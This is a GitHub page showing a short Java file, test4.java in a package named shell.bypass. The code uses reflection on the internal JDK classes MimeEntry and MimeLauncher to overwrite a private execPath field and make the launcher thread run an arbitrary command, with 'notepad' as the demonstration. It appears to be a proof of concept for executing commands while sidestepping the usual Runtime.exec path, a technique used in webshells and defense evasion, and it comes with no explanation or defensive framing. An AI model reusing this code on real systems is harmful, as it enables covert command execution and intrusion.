FilesExpand file tree

 main

/

test4.java

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

36 lines (29 loc) · 1.38 KB

 main

/

test4.java

Copy path

Top

File metadata and controls

• Code
• Blame

36 lines (29 loc) · 1.38 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

package shell.bypass;

import sun.net.www.MimeEntry;

import java.io.InputStream;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.net.URL;

import java.net.URLConnection;

public class test4 {

public static void main(String[] args)throws Exception {

bypass("notepad");

}

public static void bypass(String cmd) throws Exception{

Class aClass = Class.forName("sun.net.www.MimeEntry");

Constructor d = aClass.getDeclaredConstructor(String.class,int.class,String.class,String.class);

d.setAccessible(true);

MimeEntry obj =(MimeEntry) d.newInstance("Firebasky", 1314, "C:\\windows\\win.ini", "%s");

URL url = new URL("http://127.0.0.1:8000");

URLConnection urlConnection = url.openConnection();

InputStream inputStream = urlConnection.getInputStream();

Class C = Class.forName("sun.net.www.MimeLauncher");

Constructor declaredConstructor = C.getDeclaredConstructor(MimeEntry.class, URLConnection.class, InputStream.class, String.class, String.class);

declaredConstructor.setAccessible(true);;

Thread o = (Thread)declaredConstructor.newInstance(obj,urlConnection, inputStream, "", "");

Field execPath = C.getDeclaredField("execPath");

execPath.setAccessible(true);

execPath.set(o,cmd);

o.run();

}

}